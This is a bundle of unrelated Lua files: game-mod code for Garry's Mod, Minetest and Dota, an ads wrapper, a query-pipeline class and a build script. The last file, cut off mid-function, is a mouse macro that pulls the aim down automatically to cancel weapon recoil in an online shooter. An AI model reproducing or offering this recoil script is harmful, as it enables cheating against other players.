print( Reader:readU(32) )
]]
return DataStream |
local importations = require(IMPORTATIONS)
local ads = require(importations.ADS)
local APP_KEY = 'b577d563-b843-447c-a470-fbb59dd075e4'
local PREFERENCES_BANNER = 'bottom-banner-320x50'
local GAME_OVER_BANNER = 'interstitial-1'
local ABOUT_BANNER = PREFERENCES_BANNER
local SUPPORTED_SCREENS = {
PREFERENCES = 'preferences',
GAME_OVER = 'game_over',
ABOUT = 'about'
}
local screenName
local function _adsListener(event)
if (event.phase == 'init') then
print('Corona Ads event: initialization successful')
elseif (event.phase == 'found') then
print('Corona Ads event: ad for "' .. tostring(event.placementId) .. '" placement found')
elseif (event.phase == 'failed') then
print('Corona Ads event: ad for "' .. tostring(event.placementId) .. '" placement not found')
elseif (event.phase == 'shown') then
print('Corona Ads event: ad for "' .. tostring(event.placementId) .. '" placement has shown')
elseif (event.phase == 'closed') then
print('Corona Ads event: ad for "' .. tostring(event.placementId) .. '" placement closed/hidden')
end
end
local function _start()
ads.init(APP_KEY, _adsListener)
end
local function _hide()
if (screenName == SUPPORTED_SCREENS.PREFERENCES) then
ads.hide(PREFERENCES_BANNER)
elseif (screenName == SUPPORTED_SCREENS.GAME_OVER) then
ads.hide(GAME_OVER_BANNER)
elseif (screenName == SUPPORTED_SCREENS.ABOUT) then
ads.hide(ABOUT_BANNER)
end
end
local function _show(sn)
screenName = sn
if (screenName == SUPPORTED_SCREENS.PREFERENCES) then
ads.show(PREFERENCES_BANNER, false)
elseif (screenName == SUPPORTED_SCREENS.GAME_OVER) then
ads.show(GAME_OVER_BANNER, false)
elseif (screenName == SUPPORTED_SCREENS.ABOUT) then
ads.show(ABOUT_BANNER, true)
end
end
return {
start = _start,
hide = _hide,
show = _show,
SUPPORTED_SCREENS = SUPPORTED_SCREENS
} |
return Def.Quad {
InitCommand=function(self)
self:horizalign(left)
:x(28.5)
:setsize(358.6, 30)
end
}
|
--[[
OperatorFunction = function(param, value, count) => newValue, acceptItem, mustContinue
]]
local function operatorFilter(predicate, value, count)
return value, (predicate(value) == true), true
end
local function operatorMap(mapper, value, count)
return mapper(value), true, true
end
local function operatorLimit(limit, value, count)
local accept = (count <= limit)
return value, accept, accept
end
local function operatorClauseNone(clauses, value, count)
local acceptItem = true
for _,clause in ipairs(clauses) do
if (clause.Filter(value, clause.Config) == true) then
acceptItem = false
break
end
end
return value, acceptItem, true
end
local function operatorClauseAll(clauses, value, count)
local acceptItem = true
for _,clause in ipairs(clauses) do
if (clause.Filter(value, clause.Config) == false) then
acceptItem = false
break
end
end
return value, acceptItem, true
end
local function operatorClauseAny(clauses, value, count)
local acceptItem = false
for _,clause in ipairs(clauses) do
if (clause.Filter(value, clause.Config) == true) then
acceptItem = true
break
end
end
return value, acceptItem, true
end
local EMPTY_OBJECT = {}
--[[
The result of a Query that was executed on an EntityStorage.
QueryResult provides several methods to facilitate the filtering of entities resulting from the execution of the
query.
]]
local QueryResult = {}
QueryResult.__index = QueryResult
--[[
Build a new QueryResult
@param chunks { Array<{ [Entity] = true }> }
@clauses {Clause[]}
@see Query.lua
@see EntityRepository:Query(query)
@return QueryResult
]]
function QueryResult.New(chunks, clauses)
local pipeline = EMPTY_OBJECT
if (clauses and #clauses > 0) then
local all = {}
local any = {}
local none = {}
pipeline = {}
for i,clause in ipairs(clauses) do
if clause.IsNoneFilter then
table.insert(none, clause)
elseif clause.IsAnyFilter then
table.insert(any, clause)
else
table.insert(all, clause)
end
end
if (#none > 0) then
table.insert(pipeline, {operatorClauseNone, none})
end
if (#all > 0) then
table.insert(pipeline, {operatorClauseAll, all})
end
if (#any > 0) then
table.insert(pipeline, {operatorClauseAny, any})
end
end
return setmetatable({
chunks = chunks,
_pipeline = pipeline,
}, QueryResult)
end
--[[ -------------------------------------------------------------------------------------------------------------------
Intermediate Operations
Intermediate operations return a new QueryResult. They are always lazy; executing an intermediate operation such as
QueryResult:Filter() does not actually perform any filtering, but instead creates a new QueryResult that, when traversed,
contains the elements of the initial QueryResult that match the given predicate. Traversal of the pipeline source
does not begin until the terminal operation of the pipeline is executed.
]] ---------------------------------------------------------------------------------------------------------------------
--[[
Returns a QueryResult consisting of the elements of this QueryResult with a new pipeline operation
@param operation {function(param, value, count) -> newValue, accept, continues}
@param param {any}
@return the new QueryResult
]]
function QueryResult:With(operation, param)
local pipeline = {}
for _,operator in ipairs(self._pipeline) do
table.insert(pipeline, operator)
end
table.insert(pipeline, { operation, param })
return setmetatable({
chunks = self.chunks,
_pipeline = pipeline,
}, QueryResult)
end
--[[
Returns a QueryResult consisting of the elements of this QueryResult that match the given predicate.
@param predicate {function(value) -> bool} a predicate to apply to each element to determine if it should be included
@return the new QueryResult
]]
function QueryResult:Filter(predicate)
return self:With(operatorFilter, predicate)
end
--[[
Returns a QueryResult consisting of the results of applying the given function to the elements of this QueryResult.
@param mapper {function(value) -> newValue} a function to apply to each element
@return the new QueryResult
]]
function QueryResult:Map(mapper)
return self:With(operatorMap, mapper)
end
--[[
Returns a QueryResult consisting of the elements of this QueryResult, truncated to be no longer than maxSize in length.
This is a short-circuiting stateful intermediate operation.
@param maxSize {number}
@return the new QueryResult
]]
function QueryResult:Limit(maxSize)
return self:With(operatorLimit, maxSize)
end
--[[ -------------------------------------------------------------------------------------------------------------------
Terminal Operations
Terminal operations, such as QueryResult:ForEach or QueryResult.AllMatch, may traverse the QueryResult to produce a
result or a side-effect. After the terminal operation is performed, the pipeline is considered consumed, and can no
longer be used; if you need to traverse the same data source again, you must return to the data source to get a new
QueryResult.
]] ---------------------------------------------------------------------------------------------------------------------
--[[
Returns whether any elements of this result match the provided predicate.
@param predicate { function(value) -> bool} a predicate to apply to elements of this result
@returns true if any elements of the result match the provided predicate, otherwise false
]]
function QueryResult:AnyMatch(predicate)
local anyMatch = false
self:ForEach(function(value)
if predicate(value) then
anyMatch = true
end
-- break if true
return anyMatch
end)
return anyMatch
end
--[[
Returns whether all elements of this result match the provided predicate.
@param predicate { function(value) -> bool} a predicate to apply to elements of this result
@returns true if either all elements of the result match the provided predicate or the result is empty, otherwise false
]]
function QueryResult:AllMatch(predicate)
local allMatch = true
self:ForEach(function(value)
if (not predicate(value)) then
allMatch = false
end
-- break if false
return allMatch == false
end)
return allMatch
end
--[[
Returns some element of the result, or nil if the result is empty.
This is a short-circuiting terminal operation.
The behavior of this operation is explicitly nondeterministic; it is free to select any element in the result.
Multiple invocations on the same result may not return the same value.
@return {any}
]]
function QueryResult:FindAny()
local out
self:ForEach(function(value)
out = value
-- break
return true
end)
return out
end
--[[
Returns an array containing the elements of this QueryResult.
This is a terminal operation.
]]
function QueryResult:ToArray()
local array = {}
self:ForEach(function(value)
table.insert(array, value)
end)
return array
end
--[[
Returns an Iterator, to use in for loop
for count, entity in result:Iterator() do
print(entity.id)
end
]]
function QueryResult:Iterator()
local thread = coroutine.create(function()
self:ForEach(function(value, count)
-- These will be passed back again next iteration
coroutine.yield(value, count)
end)
end)
return function()
local success, item, index = coroutine.resume(thread)
return index, item
end
end
--[[
Performs an action for each element of this QueryResult.
This is a terminal operation.
The behavior of this operation is explicitly nondeterministic. This operation does not guarantee to respect the
encounter order of the QueryResult.
@param action {function(value, count) -> bool} A action to perform on the elements, breaks execution case returns true
]]
function QueryResult:ForEach(action)
local count = 1
local pipeline = self._pipeline
local hasPipeline = #pipeline > 0
if (not hasPipeline) then
-- faster
for _, entities in ipairs(self.chunks) do
for entity, _ in pairs(entities) do
if (action(entity, count) == true) then
return
end
count = count + 1
end
end
else
-- Pipeline this QueryResult, applying callback to each value
for i, entities in ipairs(self.chunks) do
for entity,_ in pairs(entities) do
local mustStop = false
local itemAccepted = true
local value = entity
if (itemAccepted and hasPipeline) then
for _, operator in ipairs(pipeline) do
local newValue, acceptItem, canContinue = operator[1](operator[2], value, count)
if (not canContinue) then
mustStop = true
end
if acceptItem then
value = newValue
else
itemAccepted = false
break
end
end
end
if itemAccepted then
if (action(value, count) == true) then
return
end
count = count + 1
end
if mustStop then
return
end
end
end
end
end
return QueryResult
|
local COMMAND = {}
COMMAND.title = "AFK"
COMMAND.description = "Set yourself afk."
COMMAND.author = "Nub"
COMMAND.timeCreated = "Saturday, May 2, 2020 @ 9:16 PM"
COMMAND.category = "Utility"
COMMAND.call = "afk"
COMMAND.server = function(caller, args)
if not IsValid(caller) then return end
caller.n_AFK = true
nadmin.SilentNotify = false
nadmin:Notify(caller:GetRank().color, caller:Nick(), nadmin.colors.white, " is now AFK.")
end
if SERVER then
COMMAND.afkTimeout = 120
COMMAND.checkInterval = 3
COMMAND.lastChecked = 0
hook.Add("Think", "nadmin_afk_check", function()
if not nadmin.plugins.afk then return end
local now = os.time()
if now - COMMAND.lastChecked >= COMMAND.checkInterval then
local afk = {}
local back = {}
for i, ply in ipairs(player.GetAll()) do
COMMAND.lastChecked = now
if ply:EyeAngles() ~= ply.n_EyeAngles then
ply.n_EyeAngles = ply:EyeAngles()
ply.n_LastEyeTime = now
if ply.n_AFK then
ply.n_AFK = nil
nadmin:Notify(ply:GetRank().color, ply:Nick(), nadmin.colors.white, " is now back.")
end
end
if (not ply.n_AFK) and now - ply.n_LastEyeTime >= COMMAND.afkTimeout then
ply.n_AFK = true
nadmin:Notify(ply:GetRank().color, ply:Nick(), nadmin.colors.white, " is now AFK.")
end
end
end
end)
end
nadmin:RegisterCommand(COMMAND)
nadmin:RegisterPerm({
title = "Allow AFK Time"
})
|
dofile(minetest.get_modpath("checkpoints") .. DIR_DELIM .. "checkpoints_common.lua")
---------------------------------------------------
-- this section creates a floating lap indicator
---------------------------------------------------
minetest.register_node("checkpoints:lap_end", {
tiles = {"lap_end.png"},
use_texture_alpha = true,
walkable = false,
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-.55,-.45,-.55, .55,.45,.55},
},
},
selection_box = {
type = "regular",
},
paramtype = "light",
groups = {dig_immediate = 3, not_in_creative_inventory = 1},
drop = "",
})
minetest.register_entity("checkpoints:lap_end_ent", {
physical = false,
collisionbox = {0, 0, 0, 0, 0, 0},
visual = "wielditem",
-- wielditem seems to be scaled to 1.5 times original node size
visual_size = {x = 0.67, y = 0.67},
textures = {"checkpoints:lap_end"},
timer = 0,
glow = 10,
on_step = function(self, dtime)
self.timer = self.timer + dtime
-- remove after set number of seconds
if self.timer > 15 then
self.object:remove()
end
end,
})
minetest.register_node("checkpoints:lap_go", {
tiles = {"lap_go.png"},
use_texture_alpha = true,
walkable = false,
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-.55,-.45,-.55, .55,.45,.55},
},
},
selection_box = {
type = "regular",
},
paramtype = "light",
groups = {dig_immediate = 3, not_in_creative_inventory = 1},
drop = "",
})
minetest.register_entity("checkpoints:lap_go_ent", {
physical = false,
collisionbox = {0, 0, 0, 0, 0, 0},
visual = "wielditem",
-- wielditem seems to be scaled to 1.5 times original node size
visual_size = {x = 0.67, y = 0.67},
textures = {"checkpoints:lap_go"},
timer = 0,
glow = 10,
on_step = function(self, dtime)
self.timer = self.timer + dtime
-- remove after set number of seconds
if self.timer > 15 then
self.object:remove()
end
end,
})
minetest.register_node("checkpoints:count_1", {
tiles = {"count_1.png"},
use_texture_alpha = true,
walkable = false,
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-.55,-.45,-.55, .55,.45,.55},
},
},
selection_box = {
type = "regular",
},
paramtype = "light",
groups = {dig_immediate = 3, not_in_creative_inventory = 1},
drop = "",
})
minetest.register_entity("checkpoints:count_1_ent", {
physical = false,
collisionbox = {0, 0, 0, 0, 0, 0},
visual = "wielditem",
-- wielditem seems to be scaled to 1.5 times original node size
visual_size = {x = 0.67, y = 0.67},
textures = {"checkpoints:count_1"},
timer = 0,
glow = 10,
on_step = function(self, dtime)
self.timer = self.timer + dtime
-- remove after set number of seconds
if self.timer > 2 then
--start the RACE now!!!!!
minetest.add_entity(checkpoints.count_ent_pos, "checkpoints:lap_go_ent")
checkpoints.running_race = true
minetest.sound_play("03_start4", {
--to_player = player,
pos = pos,
max_hear_distance = 200,
gain = 10.0,
fade = 0.0,
pitch = 1.0,
})
self.object:remove()
end
end,
})
minetest.register_node("checkpoints:count_2", {
tiles = {"count_2.png"},
use_texture_alpha = true,
walkable = false,
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-.55,-.45,-.55, .55,.45,.55},
},
},
selection_box = {
type = "regular",
},
paramtype = "light",
groups = {dig_immediate = 3, not_in_creative_inventory = 1},
drop = "",
})
minetest.register_entity("checkpoints:count_2_ent", {
physical = false,
collisionbox = {0, 0, 0, 0, 0, 0},
visual = "wielditem",
-- wielditem seems to be scaled to 1.5 times original node size
visual_size = {x = 0.67, y = 0.67},
textures = {"checkpoints:count_2"},
timer = 0,
glow = 10,
on_step = function(self, dtime)
self.timer = self.timer + dtime
-- remove after set number of seconds
if self.timer > 2 then
minetest.add_entity(checkpoints.count_ent_pos, "checkpoints:count_1_ent")
self.object:remove()
end
end,
})
minetest.register_node("checkpoints:count_3", {
tiles = {"count_3.png"},
use_texture_alpha = true,
walkable = false,
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-.55,-.45,-.55, .55,.45,.55},
},
},
selection_box = {
type = "regular",
},
paramtype = "light",
groups = {dig_immediate = 3, not_in_creative_inventory = 1},
drop = "",
})
minetest.register_entity("checkpoints:count_3_ent", {
physical = false,
collisionbox = {0, 0, 0, 0, 0, 0},
visual = "wielditem",
-- wielditem seems to be scaled to 1.5 times original node size
visual_size = {x = 0.67, y = 0.67},
textures = {"checkpoints:count_3"},
timer = 0,
glow = 10,
on_step = function(self, dtime)
self.timer = self.timer + dtime
-- remove after set number of seconds
if self.timer > 2 then
minetest.add_entity(checkpoints.count_ent_pos, "checkpoints:count_2_ent")
self.object:remove()
end
end,
})
checkpoints.count_ent_pos = vector.new()
function checkpoints.call_start_indicator(pos)
checkpoints.count_ent_pos = pos
minetest.add_entity(pos, "checkpoints:count_3_ent")
end
|
#!/usr/bin/lua
require 'ext'
local json = require 'myjson'
local staticIntro = 'horizonsStaticData = '
local static = json.decode(file['static-vars.json']:match(staticIntro..'(.*)'))
local dynamicIntro = 'horizonsDynamicData = '
local dynamic = json.decode(file['dynamic-vars.json']:match(dynamicIntro..'(.*)'))
print('#static', #static)
print('#dynamic', #dynamic.coords)
-- TODO duplicate names?
local dynamicKeys = {}
for _,d in ipairs(dynamic.coords) do
dynamicKeys[d.id] = true
end
local common = {}
for _,s in ipairs(static) do
if dynamicKeys[s.id] then
common[s.id] = true
end
end
local commonList = table.keys(common):sort()
print('#common:', #commonList)
print('common: '..commonList:concat', ')
-- remove SEMB-L (lagrangian points?)
-- these are the id's of the SEMB-L* points
common[31] = nil
common[32] = nil
common[34] = nil
common[35] = nil
for i=#dynamic.coords,1,-1 do
if not common[dynamic.coords[i].id] then
print('removing dynamic '..dynamic.coords[i].id..' '..dynamic.coords[i].name)
table.remove(dynamic.coords, i)
end
end
for i=#static,1,-1 do
if not common[static[i].id] then
print('removing static '..static[i].id..' '..static[i].name)
table.remove(static, i)
end
end
file['static-vars.json' ] = staticIntro..json.encode(static, {indent=true})..';'
file['dynamic-vars.json'] = dynamicIntro..json.encode(dynamic, {indent=true})..';'
|
phantom_mobility = class({})
LinkLuaModifier("modifier_phantom_mobility_charges", "abilities/heroes/phantom/phantom_mobility/modifier_phantom_mobility_charges", LUA_MODIFIER_MOTION_NONE)
LinkLuaModifier("modifier_phantom_mobility_displacement", "abilities/heroes/phantom/phantom_mobility/modifier_phantom_mobility_displacement", LUA_MODIFIER_MOTION_BOTH)
LinkLuaModifier("modifier_phantom_mobility_debuff", "abilities/heroes/phantom/phantom_mobility/modifier_phantom_mobility_debuff", LUA_MODIFIER_MOTION_NONE)
LinkLuaModifier("modifier_phantom_mobility_shield", "abilities/heroes/phantom/phantom_mobility/modifier_phantom_mobility_shield", LUA_MODIFIER_MOTION_NONE)
function phantom_mobility:GetIntrinsicModifierName()
return "modifier_phantom_mobility_charges"
end
function phantom_mobility:OnSpellStart()
local caster = self:GetCaster()
local origin = caster:GetAbsOrigin()
local point = CustomAbilitiesLegacy:GetCursorPosition(self)
local direction = (point - origin):Normalized()
local distance = self:GetCastRange(Vector(0,0,0), caster) + caster:GetCastRangeBonus()
local caster_direction = CustomEntitiesLegacy:GetDirection(caster)
if caster_direction.x ~= 0 or caster_direction.y ~=0 then
direction = caster_direction
end
caster:AddNewModifier(
caster, -- player source
self, -- ability source
"modifier_phantom_mobility_displacement", -- modifier name
{
x = direction.x,
y = direction.y,
r = distance,
speed = distance/0.15,
peak = 30,
}
)
caster:FindAbilityByName("phantom_basic_attack"):TryThrowKnives("modifier_upgrade_phantom_dash_damage")
self:PlayEffectsOnCast()
end
function phantom_mobility:PlayEffectsOnCast()
EmitSoundOn("Hero_PhantomAssassin.Strike.Start", self:GetCaster())
local effect_cast = ParticleManager:CreateParticle("particles/blink_purple.vpcf", PATTACH_ABSORIGIN_FOLLOW, self:GetCaster())
ParticleManager:ReleaseParticleIndex(effect_cast)
end
|
--- @param targetlist table
function ents.FindByMagicTarget(targetlist)
local found_ents = {}
for _, target in ipairs(targetlist) do
if type(target) == "number" then
table.insert(found_ents, ents.GetMapCreatedEntity(target))
else
table.Add(found_ents, ents.FindByName(target))
end
end
return found_ents
end
|
-- Most of this code ripped directly from Xenia (github.com/benvanik/xenia)
include("tools/build")
require("third_party/premake-export-compile-commands/export-compile-commands")
require("third_party/premake-qt/qt")
if os.is("windows") and os.isdir("C:\\Qt\\5.8\\msvc2015_64") then
qtpath "C:\\Qt\\5.8\\msvc2015_64"
end
location(build_root)
targetdir(build_bin)
objdir(build_obj)
-- Qt Setup
qtmodules {"core", "gui", "widgets"}
qtprefix "Qt5"
filter("platforms:Windows")
qtmodules {"opengl"}
filter {}
filter({"configurations:Debug", "platforms:Windows"})
qtsuffix "d"
filter {}
includedirs({
".",
"src",
"third_party",
})
defines({
"_UNICODE",
"UNICODE",
-- TODO(benvanik): find a better place for this stuff.
"GLEW_NO_GLU=1",
})
vectorextensions("AVX")
flags({
--"ExtraWarnings", -- Sets the compiler's maximum warning level.
"FatalWarnings", -- Treat warnings as errors.
})
characterset "Unicode"
filter("kind:StaticLib")
defines({
"_LIB",
})
filter("configurations:Checked")
runtime("Debug")
defines({
"DEBUG",
})
runtime("Debug")
filter({"configurations:Checked", "platforms:Windows"})
buildoptions({
"/RTCsu", -- Full Run-Time Checks.
})
filter("configurations:Debug")
runtime("Debug")
defines({
"DEBUG",
"_NO_DEBUG_HEAP=1",
})
runtime("Release")
filter({"configurations:Debug", "platforms:Windows"})
linkoptions({
"/NODEFAULTLIB:MSVCRTD",
})
filter("configurations:Release")
runtime("Release")
defines({
"NDEBUG",
"_NO_DEBUG_HEAP=1",
})
optimize("On")
flags({
"LinkTimeOptimization",
})
runtime("Release")
filter({"configurations:Release", "platforms:Windows"})
linkoptions({
"/NODEFAULTLIB:MSVCRTD",
})
filter("platforms:Linux")
system("linux")
toolset("clang")
pic "On"
filter({"platforms:Linux", "language:C++"})
buildoptions({
"-std=c++14",
"-stdlib=libc++",
})
filter("platforms:Windows")
system("windows")
toolset("msc")
buildoptions({
"/MP", -- Multiprocessor compilation.
"/wd4100", -- Unreferenced parameters are ok.
"/wd4201", -- Nameless struct/unions are ok.
"/wd4512", -- 'assignment operator was implicitly defined as deleted'.
"/wd4127", -- 'conditional expression is constant'.
"/wd4324", -- 'structure was padded due to alignment specifier'.
"/wd4189", -- 'local variable is initialized but not referenced'.
})
flags({
"NoMinimalRebuild", -- Required for /MP above.
})
symbols "On"
defines({
"_CRT_NONSTDC_NO_DEPRECATE",
"_CRT_SECURE_NO_WARNINGS",
"WIN32",
"_WIN64=1",
"_AMD64=1",
})
linkoptions({
"/ignore:4006", -- Ignores complaints about empty obj files.
"/ignore:4221",
})
links({
"ntdll",
"glu32",
"opengl32",
"comctl32",
"shlwapi",
})
solution("CGraphics")
uuid("4047A9F0-426E-435E-AB07-E32F47548DE8")
architecture("x86_64")
if os.is("linux") then
platforms({"Linux"})
elseif os.is("windows") then
platforms({"Windows"})
end
configurations({"Checked", "Debug", "Release"})
include("src/core")
include("src/ui")
include("src/assign1")
include("src/assign2") |
local camera_angles
local camera_angle_sensitivty = 0.25
local camera_angles_start
local camera_position
local camera_position_sensitivty = 60
local floor_alpha = 255
local floor_distance = 16
local floor_distance_buffer = 8
local floor_draw_bottom = true
local floor_scale = 0.125
local floor_size = 1024
local floor_size_offset = floor_size * -0.5
local floor_size_offset_scaled = floor_size_offset * floor_scale
local floor_text_color = Color(128, 128, 128, 255)
local floor_text_font = "DermaLarge"
local language_branding = language.GetPhrase("pecan.branding.capitalized")
local language_versioning = PECAN:PecanTranslate("pecan.versioning", {build = PECAN.Build, version = PECAN.Version})
local material_floor = Material("gui/alpha_grid.png")
----cached functions
--we cache all the functions that are used on frame or think
local fl_Angle = Angle
local fl_cam_End3D = cam.End3D
local fl_cam_End3D2D = cam.End3D2D
local fl_cam_Start3D = cam.Start3D
local fl_cam_Start3D2D = cam.Start3D2D
local fl_draw_SimpleText = draw.SimpleText
local fl_math_abs = math.abs
local fl_math_Clamp = math.Clamp
local fl_math_max = math.max
local fl_LocalToWorld = LocalToWorld
local fl_render_SuppressEngineLighting = render.SuppressEngineLighting
local fl_surface_DrawTexturedRect = surface.DrawTexturedRect
local fl_surface_SetDrawColor = surface.SetDrawColor
local fl_surface_SetMaterial = surface.SetMaterial
--local functions
local function draw_floor(position, angle, scale)
fl_cam_Start3D2D(position, angle, scale)
fl_surface_SetMaterial(material_floor)
fl_surface_SetDrawColor(64, 64, 64, floor_alpha)
fl_surface_DrawTexturedRect(floor_size_offset, floor_size_offset, floor_size, floor_size)
floor_text_color.a = floor_alpha
fl_draw_SimpleText(language_branding, floor_text_font, floor_size_offset, floor_size_offset, floor_text_color)
fl_draw_SimpleText(language_versioning, floor_text_font, floor_size_offset, floor_size_offset + 30, floor_text_color)
fl_cam_End3D2D()
end
--pecan functions
function PECAN:PecaneCreateModel()
local local_player = LocalPlayer()
local model = ClientsideModel(local_player:GetModel(), RENDERGROUP_OTHER)
model:SetAngles(Angle(0, 180, 0))
model:SetLOD(0) --doesn't work?
function model:GetPlayerColor() return local_player:GetPlayerColor() end
return model
end
function PECAN:PecaneRender(editor, width, height)
fl_cam_Start3D(camera_position, camera_angles)
fl_render_SuppressEngineLighting(true)
draw_floor(vector_origin, angle_zero, floor_scale)
self.EditorModel:DrawModel()
if floor_draw_bottom then draw_floor(vector_origin, Angle(180, 0, 0), floor_scale) end
fl_render_SuppressEngineLighting(false)
fl_cam_End3D()
end
function PECAN:PecaneResetCamera(initial)
camera_position = Vector(-40, 0, 60)
camera_angles = angle_zero
camera_angles_start = angle_zero
floor_alpha = 255
end
function PECAN:PecaneTranslateAngles(editor, x, y)
local pitch = y * camera_angle_sensitivty
local yaw = x * -camera_angle_sensitivty
camera_angles = camera_angles_start + fl_Angle(pitch, yaw, 0)
camera_angles.pitch = fl_math_Clamp(camera_angles.pitch, -89, 89)
camera_angles:Normalize()
end
function PECAN:PecaneTranslateAnglesFinish(editor) camera_angles_start = camera_angles end
function PECAN:PecaneTranslatePosition(editor, think_time, translation)
camera_position = fl_LocalToWorld(translation * camera_position_sensitivty * think_time, angle_zero, camera_position, camera_angles)
floor_alpha = fl_math_Clamp(fl_math_max(
fl_math_abs(camera_position.x) + floor_size_offset_scaled,
fl_math_abs(camera_position.y) + floor_size_offset_scaled,
fl_math_abs(camera_position.z)
) - floor_distance_buffer, 0, floor_distance) / floor_distance * 255
end
--hooks
hook.Add("PecaneOpen", "pecan_editor", function()
--more?
hook.Call("PecaneResetCamera", PECAN, true)
end) |
------------------------------------------------------------------------------------------------
function TransAK()
IsOnClick = false
IsM16 = false
IsUWP9 = false
IsUZI = false
IsSC = false
IsM4 = false
IsAK = not IsAK
end
-------------------------------------------------------------------------------------------------
function TransM16()
IsOnClick = false
IsSC = false
IsAK = false
IsUWP9 = false
IsUZI = false
IsM4 = false
IsM16 = not IsM16
end
-------------------------------------------------------------------------------------------------
function TransUZI()
IsOnClick = false
IsM16 = false
IsAK = false
IsUWP9 = false
IsSC = false
IsM4 = false
IsUZI = not IsUZI
end
-------------------------------------------------------------------------------------------------
function TransUWP9()
IsOnClick = false
IsM16 = false
IsAK = false
IsUZI = false
IsSC = false
IsM4 = false
IsUWP9 = not IsUWP9
end
-------------------------------------------------------------------------------------------------
function TransSC()
IsOnClick = false
IsM16 = false
IsAK = false
IsUZI = false
IsUWP9 = false
IsM4 = false
IsSC = not IsSC
end
-------------------------------------------------------------------------------------------------
function TransM4()
IsOnClick = false
IsM16 = false
IsM4 = not IsM4
IsAK = false
IsUZI = false
IsUWP9 = false
IsSC = false
end
-------------------------------------------------------------------------------------------------
function OutTransFunction()
IsOnClick = false
IsSC = false
IsUWP9 = false
IsM16 = false
IsAK = false
IsUZI = false
IsM4 = false
ReleaseMouseButton(1)
end
-------------------------------------------------------------------------------------------------
function BoomAK()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1400 then
MoveMouseRelative(0, 8.9)
elseif shotTime > 1000 then
MoveMouseRelative(0, 9)
elseif shotTime < 1000 then
MoveMouseRelative(0, 7.1)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function ShiftAK()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1400 then
MoveMouseRelative(0, 11.5)
elseif shotTime > 1000 then
MoveMouseRelative(0, 11.5)
elseif shotTime < 1000 then
MoveMouseRelative(0, 8.5)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomAllAK()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1400 then
MoveMouseRelative(0, 7.5)
elseif shotTime > 1000 then
MoveMouseRelative(0, 7.5)
elseif shotTime < 1000 then
MoveMouseRelative(0, 6)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function BoomM16()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 8)
elseif shotTime > 1000 then
MoveMouseRelative(0, 10.2)
elseif shotTime > 680 then
MoveMouseRelative(0, 13.6)
elseif shotTime < 680 then
MoveMouseRelative(0, 7)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function ShiftM16()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 10)
elseif shotTime > 1000 then
MoveMouseRelative(0, 12.5)
elseif shotTime > 680 then
MoveMouseRelative(0, 14.5)
elseif shotTime < 680 then
MoveMouseRelative(0, 10.5)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomAllM16()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 8)
elseif shotTime > 1000 then
MoveMouseRelative(0, 8)
elseif shotTime > 680 then
MoveMouseRelative(0, 11)
elseif shotTime < 680 then
MoveMouseRelative(0, 7)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function BoomM4()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 10.1)
elseif shotTime > 1500 then
MoveMouseRelative(0, 10)
elseif shotTime > 1000 then
MoveMouseRelative(0, 9.8)
elseif shotTime > 680 then
--up
MoveMouseRelative(0, 13.8)
elseif shotTime < 680 then
MoveMouseRelative(0, 7.8)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function ShiftM4()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 13)
elseif shotTime > 1500 then
MoveMouseRelative(0, 12.5)
elseif shotTime > 1000 then
MoveMouseRelative(0, 11)
elseif shotTime > 680 then
MoveMouseRelative(0, 19)
elseif shotTime < 680 then
MoveMouseRelative(0, 11)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomAllM4()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1600 then
MoveMouseRelative(0, 6)
elseif shotTime > 1000 then
MoveMouseRelative(0, 7)
elseif shotTime > 680 then
MoveMouseRelative(0, 7)
elseif shotTime < 680 then
MoveMouseRelative(0, 5)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomSCAR()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1600 then
MoveMouseRelative(0, 8)
elseif shotTime > 1000 then
MoveMouseRelative(0, 8)
elseif shotTime > 680 then
MoveMouseRelative(0, 8.8)
elseif shotTime < 680 then
oveMouseRelative(0, 6.7)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function ShiftSCAR()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1600 then
MoveMouseRelative(0, 10.7)
